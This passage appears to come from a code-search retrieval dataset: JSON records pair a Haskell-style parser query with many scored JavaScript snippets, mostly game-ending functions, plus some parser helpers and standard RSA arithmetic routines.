Arrays und startet eine neue Runde. */\r\n while (comphandArray.length > 0) {\r\n comphandArray.pop();\r\n }\r\n while (playerhandArray.length > 0) {\r\n playerhandArray.pop();\r\n }\r\n while (tableArray.length > 0) {\r\n tableArray.pop();\r\n }\r\n while (stackofcardsArray.length > 0) {\r\n stackofcardsArray.pop();\r\n }\r\n console.log(\"Arrays wurden geleert.\");\r\n console.log(\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\");\r\n generateNewtable();\r\n shuffleDeck();\r\n dealCards();\r\n updateHTML();\r\n playerTurn = true;\r\n}", "title": "" }, { "docid": "b0d2964308310299cb8584def82cf56b", "score": "0.73024875", "text": "function endGame(msg) {\n // TODO: pop up alert message\n console.log(msg);\n}", "title": "" }, { "docid": "a5fe21ab5a910902e9120e681c0e4c2e", "score": "0.7280974", "text": "function endGame() {\n\t// Turn off display of the boxes by appending the endedGame class.\n\t$('.databox').addClass('endedGame');\n $('.thankyou').removeClass('endedGame');\n}", "title": "" }, { "docid": "e186324ab0619437ea3d2e7bcbbf1bbc", "score": "0.7269051", "text": "function endGame() {\n\tgameStarted = false;\n\n\tstage.addChild(gameOverImage);\n\tgameOverImage.scaleX = 0.1;\n\tgameOverImage.scaleY = 0.1;\n\tgameOverImage.regX = gameOverImage.getBounds().width/2;\n\tgameOverImage.regY = gameOverImage.getBounds().height/2;\n\tgameOverImage.x = sidebarImage.getBounds().width + (STAGE_WIDTH - sidebarImage.getBounds().width)/2;\n\tgameOverImage.y = STAGE_HEIGHT/2;\n\tgameOverScoreText = new createjs.Text(\"Score:\" + score, \"25px 'Press Start 2P'\", \"blue\");\n\tgameOverScoreText.scaleX = 0.1;\n\tgameOverScoreText.scaleY = 0.1;\n\tgameOverScoreText.regX = gameOverScoreText.getMeasuredWidth()/2;\n\tgameOverScoreText.regY = gameOverScoreText.getMeasuredHeight()/2;\n\tgameOverScoreText.x = gameOverImage.x;\n\tgameOverScoreText.y = STAGE_HEIGHT/2 - 8;\n\tstage.addChild(gameOverScoreText);\n\n\tcreatejs.Tween.get(gameOverImage).to({scaleX:1,scaleY:1},500);\n\tcreatejs.Tween.get(gameOverScoreText).to({scaleX:1,scaleY:1},500);\n\n\tstage.update();\n\tstage.on(\"stagemousedown\", function() {\n\t\tplaySound(\"click\");\n\t\tlocation.reload(); // for now just reload the document\n\t});\n}", "title": "" }, { "docid": "dd1207f99b920662af820775fe02f96e", "score": "0.72672254", "text": "function endGame(p1, p2) {\n if (p1.score === 11)\n p1.wonGame();\n else\n p2.wonGame();\n\n p1.serving = false;\n p2.serving = false;\n}", "title": "" }, { "docid": "318c5b3489387206cee7ac10156d7647", "score": "0.72648114", "text": "function endGame() {\n clearInterval(timer);\n $(\"#display-time\").empty();\n $(\"#display-question\").empty();\n $(\"#display-options\").empty();\n\n displayResult();\n\n }", "title": "" }, { "docid": "13cc3224284ef2c8d8e29cdfb75c1db4", "score": "0.72588855", "text": "function endGame() {\n\t\talert(\"end game\");\n\t\t// Show the completed Score Div\n\t\t$(\"#end_container\").show();\n\n\t\t// Set Scroll position so it looks good\n\t\twindow.scrollTo(0, 550);\n\t}", "title": "" }, { "docid": "19bee307c836c5b3c435451ae8e6c80d", "score": "0.7256728", "text": "function endGame() {\n\tclearInterval( timerInterval );\n\n\tif( timeLeft < 0 ) {\n\t\ttimeLeft = 0;\n\t}\n\n\tupdateTimerValue();\n\n\tquestionScreenEl.classList.add( 'hidden' );\n\tfinishedScreenEl.classList.remove( 'hidden' );\n\n\tcorrectScoreSpan.textContent = correctAnswers;\n\ttimerScoreSpan.textContent = timeLeft;\n}", "title": "" }, { "docid": "0c4dc4d6dd39814c0ecd427b8ba7e153", "score": "0.7254996", "text": "function EndGame() {\n\tdocument.getElementById(\"lose\").classList.add(\"bounceInUp\")\n\tdocument.getElementById(\"lose\").style.display = \"unset\"\n\tstillAlive = false\n\tlose.play()\n\tLightOn(greenObject)\n\tLightOn(redObject)\n\tLightOn(yellowObject)\n\tLightOn(blueObject)\n\tvar i = 0;\n\tsetInterval(function() {\n\t i++;\n\t if (i < 7) {\n\t LightOn(greenObject)\n\t\tLightOn(redObject)\n\t\tLightOn(yellowObject)\n\t\tLightOn(blueObject)\n\t }\n\t}, 1000)\n\treturn\n}", "title": "" }, { "docid": "beac298f7f39cf5fa25d30c4444529ea", "score": "0.7252889", "text": "function end_the_game() {\n clearInterval(the_game);\n game_over = true;\n anna.stop();\n hornet.stop();\n stinger.fadeOut('fast');\n hornet.animate({\"margin-top\": \"50px\"}, 500);\n hornet.delay(500).animate({\"margin-top\": \"-220px\"}, 500);\n endCongrats.delay(1500).fadeIn('fast');\n anna.delay(1500).fadeOut('fast');\n\n}", "title": "" }, { "docid": "280cc63d5fbd9793a4a5823e6d0afa62", "score": "0.7250321", "text": "function endGame(msg) {\n // TODO: pop up alert message\n // Use setTimeout to prevent the alert to pop before adding player's piece to the UI\n setTimeout(() => {\n alert(msg);\n resetGame();\n }, 100);\n}", "title": "" }, { "docid": "ae49afe91186d0c0fffd0dabe77faa54", "score": "0.7244114", "text": "function finishGame(){\n\tio.emit('clear');\n\tvar victor;\n\tif (playerOneScore > playerTwoScore) {\n\t\tvictor = \"PLAYER 1 WINS!\";\n\t} else if (playerTwoScore > playerOneScore) {\n\t\tvictor = \"PLAYER 2 WINS!\";\n\t} else {\n\t\tvictor = \"TIE!\";\n\t}\n\tio.emit('victory', victor);\n}", "title": "" }, { "docid": "34c42e3fe8b17fc68d1a891242131d4a", "score": "0.72384346", "text": "function endGame() {\n if (player1Points >= maxPoints){\n alert(\"Player 1 dominates\");\n }else{\n alert(\"Player 2 destroyed you\");\n }\n // stop the interval timer\n clearInterval(interval);\n\n // turn off event handlers\n $(document).off();\n }", "title": "" }, { "docid": "28134850d7c7b8c3c6a6a78ee368de5d", "score": "0.7221905", "text": "function onCloseGame() {\n gameObject.deadline = 0;\n gameObject.points = 0;\n gameObject.game_music.pause();\n $(\"#highscore-table-area\").children().remove();\n $(\"#mydiv\").children(0).animate({top: 0, left: 0});\n $(\"#mydiv\").children().remove();\n $('#thrashDiv').children().hide();\n $('#myScore').text('').hide();\n $(\"#game-over\").hide();\n $('#myClock').hide();\n $(\"#game-greeter\").show();\n $('#replay').hide();\n $('#gameStarter').show();\n $(\"#game\").hide();\n $(\"#wrapper\").show();\n $(\"#footer\").show();\n }", "title": "" }, { "docid": "2e9632df2d1d1fb1c9eedcbc90f23cc9", "score": "0.7219966", "text": "function gameEnd() {\n if(fittedCards.length === picturesList.length) {\n stopTimer();\n lastGameMessage();\n }\n}", "title": "" }, { "docid": "8b4533ce993e9873dfcd9eea07fbd3e8", "score": "0.7215571", "text": "function endGame(){\n\tconst deckDiv = document.querySelector('.deck');\n\tconst cards = deckDiv.querySelectorAll('.card');\n\topenCards = [];\n\n\thideScorePanel();\n\n\tfor(let i = 0; i < cards.length; i++){\n\t\tconst icon = cards[i].querySelector('i');\n\t\tcards[i].removeChild(icon);\n\t}\n\n\t//clear the modal stars\n\tconst modalStars = document.querySelectorAll('.modal .stars i');\n\tfor(let i = 0; i < modalStars.length; i++){\n\t\tmodalStars[i].remove();\n\t}\n\n\tconst resetButton = document.querySelector('.fa-repeat');\n\tresetButton.removeEventListener('click', handleReset);\n}", "title": "" }, { "docid": "9357fdeda0e73fa9f1784c52a3f42124", "score": "0.72142386", "text": "endGame(winner) {\n var str;\n this.gameInProgress = false;\n\n // add to total games played\n this.totalGames += 1;\n\n // Winner or loser messages and audio\n if (winner) {\n str = \"You WON! Good Job \";\n this.nbrWins += 1;\n } else {\n str = \"You Lost\";\n this.nbrLosses += 1;\n }\n\n // display\n this.displayGameStatus();\n\n alert(str);\n this.reset();\n }", "title": "" }, { "docid": "d0419ae5fb7ff560bdba947c02de3074", "score": "0.72096205", "text": "function endTurn() {\n console.log(\"Click reset to start new game.\")\n}", "title": "" }, { "docid": "7b362036e7803f9115ee30b1934f899e", "score": "0.72036713", "text": "function updateGameEnd() {\r\n gGame.isOn = false;\r\n clearInterval(gTimerInterval);\r\n getAllBombs();\r\n gGameFinished = true;\r\n}", "title": "" }, { "docid": "12349f7577a73433cd6c548bffc5e7a9", "score": "0.720154", "text": "function endGame(msg) {\n // timeout allows for piece to be placed before anouncing winner\n setTimeout(() => {\n if (window.confirm(msg)) startNewGame();\n }, 450);\n}", "title": "" }, { "docid": "bf2027cbb770b0deccb833936930cbbc", "score": "0.7197126", "text": "function endCurrentGame() {\n boardButtons.forEach((element) => element.disabled = true);\n gameBoard.removeEventListener('click', generateChoice);\n gameBoard.removeEventListener('click', handleChoice);\n undoButton.disabled = true;\n\n createElementAndAppend('div', 'winnerOverlay', '', gameBoard);\n const winnerOverlay = $('.winnerOverlay');\n\n if(game.moves.length == 9 && !game.winner) {\n createElementAndAppend('h3', 'winnerMessage', 'Its a tie!', winnerOverlay);\n $('.winnerMessage').classList.add('white');\n } else {\n game.winner = game.activePlayer;\n createElementAndAppend('h3', 'winnerMessage', `${game.winner} wins!`, winnerOverlay);\n $('.winnerMessage').classList.add(`${game[game.activePlayer].color}`);\n }\n\n createElementAndAppend('button', 'playAgain', 'play again', winnerOverlay);\n $('.playAgain').addEventListener('click', playAgain);\n }", "title": "" }, { "docid": "9c9d0289384fd49ac6f238764b0951ab", "score": "0.71944064", "text": "endGame(msg, winner) {\n\t\tthis.updateSessionScore(winner);\n\t\tthis.updateDisplayScore();\n\t\tthis.endGameReset(msg);\n\t}", "title": "" }, { "docid": "3f2e35b126e160c514e646a41fd9856e", "score": "0.71916384", "text": "function endGame() {\n\tgameOver = true ;\n buttonPressed = false;\n song.play();\n}", "title": "" }, { "docid": "ee7579e7ee3b92ed56808f509773367b", "score": "0.71904105", "text": "function EndTurn()\n{\n\t// toggle the player\n\tpL ^= 3;\n\n\tpx = 5;\n\tpy = 5;\n\tmove = 2;\n\thycube = 0;\n\thyqs = 0;\n\ttaken = 0;\n\tfired = 1;\n\n\tnoFill();\n\tstroke(palette(cop[pL]));\n\trect(40, 10, 288-40, 186-10);\n\trect(42, 12, 286-42, 184-12);\n}", "title": "" }, { "docid": "4101e6dcb8e81d92f1595eaa497faccd", "score": "0.71815264", "text": "function quitGame(){\n console.log(\"Quitting.\")\n clearInterval(gameUpdate);\n quitScreen();\n started = false;\n}", "title": "" }, { "docid": "4cdaf525a0142374fb537404d1b6abb2", "score": "0.71791375", "text": "function checkEndGame (game, result, session) {\n if (game.endGame) {\n session.isPlaying = false\n generateJson({\n result: result,\n score: game.score\n })\n if (game.win) {\n generateJson({ message: session.language.messages.win })\n } else if (game.draw) {\n generateJson({ message: session.language.messages.draw })\n } else if (game.lose) {\n generateJson({ message: session.language.messages.lose })\n }\n }\n}", "title": "" }, { "docid": "2e49ab432fb0451fb050d2f06bd1d891", "score": "0.7171956", "text": "function endGame() {\n // hide quiz div and show end game div\n quizEl.setAttribute(\"class\", \"hide\");\n endEl.removeAttribute(\"class\", \"hide\");\n highScoreBtn.classList.remove(\"invisible\");\n // Stops timer\n clearInterval(timerInterval);\n //had to set timer text to counter because it was possible to endGame in a split second before the timer had a chance to update\n timeEl.textContent = secondsLeft;\n scoreSpan.textContent = secondsLeft;\n }", "title": "" }, { "docid": "478dbcd4ce49f306aa67ad8265f50227", "score": "0.71713245", "text": "function gameend() {\r\n for (var e = 1; e < 21; e++) {\r\n if (player.isTouching(zg[e])) {\r\n zg[e].destroyEach();\r\n health = health - 40;\r\n }\r\n }\r\n if (health <= 0) {\r\n gamestate = \"end\";\r\n }\r\n}", "title": "" } ]
f3405d06f3764651d77850578eeeaf6d
rassocP1 x = rassocP x return x
[ { "docid": "798911e7c8bb7dd58ad6ccb3e01a89e9", "score": "0.7936509", "text": "function rassocP1(x){\r\n return parserPlus(rassocP(x), return_(x));\r\n }", "title": "" } ]
[ { "docid": "7296c6dab46c3f54bec108715235b631", "score": "0.6040893", "text": "function prs1(a){\n if (emp(a))return ef();\n if (beg(a, \"(\"))return plis(a);\n if (beg(a, \"{\"))return pobj(a);\n if (beg(a, \"[\"))return pnfn(a);\n if (beg(a, \"\\\"\"))return pstr(a);\n if (beg(a, \"|\"))return pbsym(a);\n if (beg(a, \"#|\"))return pbcom(a);\n if (beg(a, \"#[\"))return parr(a);\n if (beg(a, \"#(\"))return pref(a);\n if (beg(a, \"#\\\"\"))return prgx(a);\n if (beg(a, \"'\"))return pqt(a);\n if (beg(a, \"`\"))return pqq(a);\n if (beg(a, \",@\"))return puqs(a);\n if (beg(a, \",\"))return puq(a);\n if (beg(a, \"@\"))return pspi(a); // splice\n if (beg(a, \"#\"))return pqgs(a);\n if (beg(a, \"~\"))return pcmpl(a);\n if (beg(a, \";\"))return pcom(a);\n if (beg(a, /^\\s/))return pwhi(a);\n if (beg(a, \")\", \"]\", \"}\"))return eb(a[0], 1);\n return psymnum(a);\n }", "title": "" }, { "docid": "0eaa63b3f4cc41563ff37ce0d21d6ff8", "score": "0.5874855", "text": "function SRA(r1) {\r\n\tvar bit7 = (r1 & 128);\r\n\tvar bit0 = r1 & 1;\r\n\tr1 = (r1 >> 1) + bit7;\r\n\r\n\tSetCarry(bit0);\r\n\tSetZero(r1 == 0);\r\n\tSetHCarry(0);\r\n\tSetSub(0);\r\n\t\r\n\tPC+= 2;\r\n\tCycle = 8;\r\n\t\r\n\treturn r1;\r\n}", "title": "" }, { "docid": "c79aafb418242f9ffb74d55b64429e4f", "score": "0.5863186", "text": "function P1(X) {\n return X ^ rotl32(X, 15) ^ rotl32(X, 23);\n}", "title": "" }, { "docid": "2ba1db35a5c158330171e4ab151a6361", "score": "0.5851989", "text": "function Rc(a,b){return Pc(this,a,b,-1)}", "title": "" }, { "docid": "e98b992152d46ad66ee6734ad23844ba", "score": "0.5821112", "text": "function\nmap0$fopr_2343_(a5x1)\n{\nlet xtmp105;\n;\n{\nxtmp105 = a1x2(a5x1);\n}\n;\nreturn xtmp105;\n}", "title": "" }, { "docid": "e98b992152d46ad66ee6734ad23844ba", "score": "0.5821112", "text": "function\nmap0$fopr_2343_(a5x1)\n{\nlet xtmp105;\n;\n{\nxtmp105 = a1x2(a5x1);\n}\n;\nreturn xtmp105;\n}", "title": "" }, { "docid": "90468466ceedf750863069310b9ff24f", "score": "0.57677186", "text": "return() {\n this.pc = this.ra;\n }", "title": "" }, { "docid": "d7b2d21a47f5d4043b31d8c01de719ee", "score": "0.5692753", "text": "function SRL(r1) {\r\n\tvar bit0 = r1 & 1;\r\n\tr1 = (r1 >> 1)\r\n\r\n\tSetCarry(bit0);\r\n\tSetZero(r1 == 0);\r\n\tSetHCarry(0);\r\n\tSetSub(0);\r\n\t\r\n\tPC+= 2;\r\n\tCycle = 8;\r\n\t\r\n\treturn r1;\r\n}", "title": "" }, { "docid": "2faaa2690b32a14b6392a2863c90083b", "score": "0.56700456", "text": "function PV(){\n sum = P(x, y);\n return sum;\n}", "title": "" }, { "docid": "e7c0f50c3037017cf7a532f2302def52", "score": "0.56698745", "text": "function pAndR(arr0){\n\tconsole.log(arr0[0]);\n\treturn arr0[1];\n}", "title": "" }, { "docid": "7475042453486149dd9421f1b81b436d", "score": "0.56651384", "text": "function R_PLA() { // b7 zp:b6\n LDXZ('rp'),INCZ('rp'),LDAAX('S', inc); // drop\n}", "title": "" }, { "docid": "49ed4dc273dcb62f934fbd5c70082c64", "score": "0.56493026", "text": "function p2cX( x ) {\n return g2cX( p2g(x) );\n}", "title": "" }, { "docid": "fbd5d7f57082cd661cf72b2c88a891b4", "score": "0.5579213", "text": "function X() {\r\n\r\n R();\r\n Mp();\r\n Lp();\r\n\r\n}", "title": "" }, { "docid": "e8d7e616b35e0033570ae7d99a2b66bf", "score": "0.55399394", "text": "function getXs0(ps1, ps2) {\n // const _coeffs = getIntersectionCoeffs(ps1, ps2);\n const _coeffs = getCoeffsBezBez(ps1, ps2);\n if (_coeffs === undefined) {\n return undefined;\n }\n const { coeffs, errBound, getPExact } = _coeffs;\n const ris = allRootsCertified(coeffs, 0, 1, errBound, getPExact);\n if (ris.length === 0) {\n return undefined;\n }\n return { ris: ris.map(rootIntervalToExp), getPExact };\n}", "title": "" }, { "docid": "44a4c5ea58e481d92724c783281e6466", "score": "0.55286074", "text": "function oS(){return function(R){return R}}", "title": "" }, { "docid": "dd7adf35ce2fec9eebfabcd9c3d1f72e", "score": "0.5511867", "text": "function APxC(Grille) {\r\n PxC(0, Grille);\r\n}", "title": "" }, { "docid": "cf38a4bbd7536ae0b296777cdc0e56af", "score": "0.54696244", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p); // xp=cp?\n var xq = x.mod(this.q).modPow(this.dmq1, this.q); // xq=cq?\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n // NOTE:\n // xp.subtract(xq) => cp -cq\n // xp.subtract(xq).multiply(this.coeff).mod(this.p) => (cp - cq) * u mod p = h\n // xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq) => cq + (h * q) = M\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "cf38a4bbd7536ae0b296777cdc0e56af", "score": "0.54696244", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p); // xp=cp?\n var xq = x.mod(this.q).modPow(this.dmq1, this.q); // xq=cq?\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n // NOTE:\n // xp.subtract(xq) => cp -cq\n // xp.subtract(xq).multiply(this.coeff).mod(this.p) => (cp - cq) * u mod p = h\n // xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq) => cq + (h * q) = M\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "647cb5de8a1744dfbc747846fd5317a1", "score": "0.54568356", "text": "function X_from_x(x){ return SR + SR*x/xMax ; }", "title": "" }, { "docid": "7c08dbb4e8b5897a01b9f2c39f48e72a", "score": "0.5442245", "text": "function\nXATS2JS_streax_uncons_cfr(a1x1, a1x2)\n{\nlet xtmp48;\nlet xtmp49;\nlet xtmp50;\nlet xtmp51;\nlet xtmp52;\n;\n;\nxtmp49 = XATS2JS_lazy_eval(a1x1);\n{\nxtmp50 = 0;\ndo {\ndo {\nif(0!==xtmp49[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp50 = 1;\n} while(false);\nif(xtmp50 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp50) {\ncase 1:\nxtmp51 = xtmp49[1];\nxtmp52 = xtmp49[2];\n{\nxtmp48 = a1x2(xtmp51, xtmp52);\n}\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp48;\n} // function // XATS2JS_streax_uncons_cfr(12)", "title": "" }, { "docid": "7c08dbb4e8b5897a01b9f2c39f48e72a", "score": "0.5442245", "text": "function\nXATS2JS_streax_uncons_cfr(a1x1, a1x2)\n{\nlet xtmp48;\nlet xtmp49;\nlet xtmp50;\nlet xtmp51;\nlet xtmp52;\n;\n;\nxtmp49 = XATS2JS_lazy_eval(a1x1);\n{\nxtmp50 = 0;\ndo {\ndo {\nif(0!==xtmp49[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp50 = 1;\n} while(false);\nif(xtmp50 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp50) {\ncase 1:\nxtmp51 = xtmp49[1];\nxtmp52 = xtmp49[2];\n{\nxtmp48 = a1x2(xtmp51, xtmp52);\n}\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp48;\n} // function // XATS2JS_streax_uncons_cfr(12)", "title": "" }, { "docid": "82b2a4235a1cfb6b2fbbc9c79f184824", "score": "0.54379874", "text": "function $x1(p,context,docObj){\r\n\tvar nodeArray=$x(p,context,docObj);\r\n\treturn (nodeArray.length>0) ? nodeArray[0] : null;\r\n}", "title": "" }, { "docid": "3c68db495a9a1baad265a28127f9b472", "score": "0.54094946", "text": "function perimetroCirculo(r)\n{\n return r*2*Pi;\n}", "title": "" }, { "docid": "52acf6cbcc919489a8b323de0fd7ec04", "score": "0.54083806", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p);\n var xq = x.mod(this.q).modPow(this.dmq1, this.q);\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "52acf6cbcc919489a8b323de0fd7ec04", "score": "0.54083806", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p);\n var xq = x.mod(this.q).modPow(this.dmq1, this.q);\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "52acf6cbcc919489a8b323de0fd7ec04", "score": "0.54083806", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p);\n var xq = x.mod(this.q).modPow(this.dmq1, this.q);\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "52acf6cbcc919489a8b323de0fd7ec04", "score": "0.54083806", "text": "function RSADoPrivate(x) {\n if(this.p == null || this.q == null)\n return x.modPow(this.d, this.n);\n\n // TODO: re-calculate any missing CRT params\n var xp = x.mod(this.p).modPow(this.dmp1, this.p);\n var xq = x.mod(this.q).modPow(this.dmq1, this.q);\n\n while(xp.compareTo(xq) < 0)\n xp = xp.add(this.p);\n return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq);\n}", "title": "" }, { "docid": "b98a7436b6a90f7880aa9cd2920a0db0", "score": "0.5399626", "text": "function p2g( x ) {\n return x * PPM;\n}", "title": "" }, { "docid": "3ce2da742febe0f8c5ad8494d75ba0c3", "score": "0.539567", "text": "function\nmap0$fopr_2343_(a10x1)\n{\nlet xtmp233;\n;\n{\nxtmp233 = [1, a10x1, a6x1];\n}\n;\nreturn xtmp233;\n}", "title": "" }, { "docid": "fe3b327388bfcecf044a8321669e4c47", "score": "0.53853333", "text": "function raizQadrada(r) { //Calculo Basico Raiz Quadrada\n\n let raiz = Math.sqrt(r);\n\n return raiz\n}", "title": "" }, { "docid": "f6b28708d23f17ee4bd3e12835fd2e94", "score": "0.53819793", "text": "function xP(){return function(J){return J}}", "title": "" }, { "docid": "7f6cbd5a1c30ce0b3ab599b548e7ca2b", "score": "0.53661174", "text": "project(p, retP = P2()) {\r\n retP.x = p.x * this.xAxis.x + p.y * this.yAxis.x + p.z * this.zAxis.x + this.origin.x;\r\n retP.y = p.x * this.xAxis.y + p.y * this.yAxis.y + p.z * this.zAxis.y + this.origin.y;\r\n return retP;\r\n }", "title": "" }, { "docid": "1c85e3f82bb0d8dafc0dd3b092f4d760", "score": "0.53622955", "text": "function P(i,l,a,b,R_1,R_lm1) {\n \n var ri1, rim1, ri0, ret;\n ri1 = R_1[i+1][1+1];\n rim1 = R_1[i+1][-1+1];\n ri0 = R_1[i+1][0+1];\n \n if (b==-l) {\n ret = ri1*R_lm1[a+l-1][0] + rim1*R_lm1[a+l-1][2*l-2];\n }\n else {\n if (b==l) ret = ri1*R_lm1[a+l-1][2*l-2] - rim1*R_lm1[a+l-1][0];\n else ret = ri0*R_lm1[a+l-1][b+l-1];\n }\n return ret;\n}", "title": "" }, { "docid": "b4121d94ceb481adef98038f19d4dbc0", "score": "0.53454417", "text": "function compete1(input){\n\n //p1 and p2\n\n inputs.push(input)\n \n if (input == 'pr'|| input == 'sp'||input == 'rs') { \n result.p1[1] = result.p1[1] + 1;\n }\n \n \n else if(input == 'rp'||input == 'ps'||input == 'sr'){\n result.p2[0] = result.p2[0] + 1;\n\n }\n \n \n else{\n\n \n }\n }", "title": "" }, { "docid": "dc59dc617e4150e50629d4ddd752ce26", "score": "0.534493", "text": "function\nXATS2JS_strmcon_cons(a1x1, a1x2)\n{\nlet xtmp37;\n;\n;\n{\nxtmp37 = [1, a1x1, a1x2];\n}\n;\nreturn xtmp37;\n} // function // XATS2JS_strmcon_cons(10)", "title": "" }, { "docid": "dc59dc617e4150e50629d4ddd752ce26", "score": "0.534493", "text": "function\nXATS2JS_strmcon_cons(a1x1, a1x2)\n{\nlet xtmp37;\n;\n;\n{\nxtmp37 = [1, a1x1, a1x2];\n}\n;\nreturn xtmp37;\n} // function // XATS2JS_strmcon_cons(10)", "title": "" }, { "docid": "464c52eb7c97e3923f886b2d36587723", "score": "0.53093153", "text": "function remplaceur(correspondance, p1, p2) {\n let x = trad[p1];\n let y = Math.abs(p2 - 8);\n return [x, y];\n}", "title": "" }, { "docid": "05df63846003b2c8a8352c9df71e2f0f", "score": "0.5306756", "text": "function p1x({innerRadius, centerX, startRadians}) {\n\treturn centerX + (innerRadius * Math.sin(startRadians));\n}", "title": "" }, { "docid": "0ecc87a985b0826f2bf5abd88607edb2", "score": "0.5290737", "text": "function $x1(p, context, docObj) {\n\tvar nodeArray = $x(p, context, docObj);\n\treturn (nodeArray.length > 0) ? nodeArray[0] : null;\n}", "title": "" }, { "docid": "f6cd7fd4ef002b79b9e00eefe713a9b5", "score": "0.52885604", "text": "function\nXATS2JS_streax_vt_uncons_cfr(a1x1, a1x2)\n{\nlet xtmp87;\nlet xtmp88;\nlet xtmp89;\nlet xtmp90;\nlet xtmp91;\n;\n;\nxtmp88 = XATS2JS_llazy_eval(a1x1);\n{\nxtmp89 = 0;\ndo {\ndo {\nif(0!==xtmp88[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp89 = 1;\n} while(false);\nif(xtmp89 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp89) {\ncase 1:\nxtmp90 = xtmp88[1];\nxtmp91 = xtmp88[2];\n{\nxtmp87 = a1x2(xtmp90, xtmp91);\n}\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp87;\n} // function // XATS2JS_streax_vt_uncons_cfr(22)", "title": "" }, { "docid": "f6cd7fd4ef002b79b9e00eefe713a9b5", "score": "0.52885604", "text": "function\nXATS2JS_streax_vt_uncons_cfr(a1x1, a1x2)\n{\nlet xtmp87;\nlet xtmp88;\nlet xtmp89;\nlet xtmp90;\nlet xtmp91;\n;\n;\nxtmp88 = XATS2JS_llazy_eval(a1x1);\n{\nxtmp89 = 0;\ndo {\ndo {\nif(0!==xtmp88[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp89 = 1;\n} while(false);\nif(xtmp89 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp89) {\ncase 1:\nxtmp90 = xtmp88[1];\nxtmp91 = xtmp88[2];\n{\nxtmp87 = a1x2(xtmp90, xtmp91);\n}\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp87;\n} // function // XATS2JS_streax_vt_uncons_cfr(22)", "title": "" }, { "docid": "56a2a1eaa96f12fa85c5b1a3b80b2c72", "score": "0.5263127", "text": "function f(x) {\r\n const r2 =calculR2(x);\r\n const r1 =calculR1(x);\r\n return r2 - r1;\r\n }", "title": "" }, { "docid": "6463afec96f82e628b0ff67ebb450302", "score": "0.5227106", "text": "function pa(){}", "title": "" }, { "docid": "d841e93ab65c7362c62f0c66d44504d8", "score": "0.5226949", "text": "function findX2(x1,s) {\n let x2 = (2*s) - x1;\n console.log(x2)\n}", "title": "" }, { "docid": "f475b36541f2bd2d031af821a272a779", "score": "0.522063", "text": "function rprint(x1,x2,x3)\n{\nconsole.log(x3);\nconsole.log(x2);\nconsole.log(x1);\n}", "title": "" }, { "docid": "4500b50aae5ac6fd1fb57ab67e3bdef1", "score": "0.5211683", "text": "function newRock(){\nrx=Math.random()*(x1);\nif(rx<x1/2)\n{\n rx=r;\n}\nelse{\n rx=x1-r;\n}\nry=Math.random()*(y1/2);\nif(ry<r)\n{\n ry=r;\n}}", "title": "" }, { "docid": "d7d3a2c81dbec30d2d0442e8048ccdb0", "score": "0.5208461", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "691e74be3dda1fae927ebdf28caf9cb6", "score": "0.5208375", "text": "function rr(t) {\n return Ci(t, Pi.store);\n }", "title": "" }, { "docid": "125e02de33314cf53f5bc508bbacdd05", "score": "0.5201612", "text": "function rendiPari(x) {\n\n if (x % 2 != 0) {\n var y;\n y = x++;\n }\n else {\n y = x;\n }\n\n return y;\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function 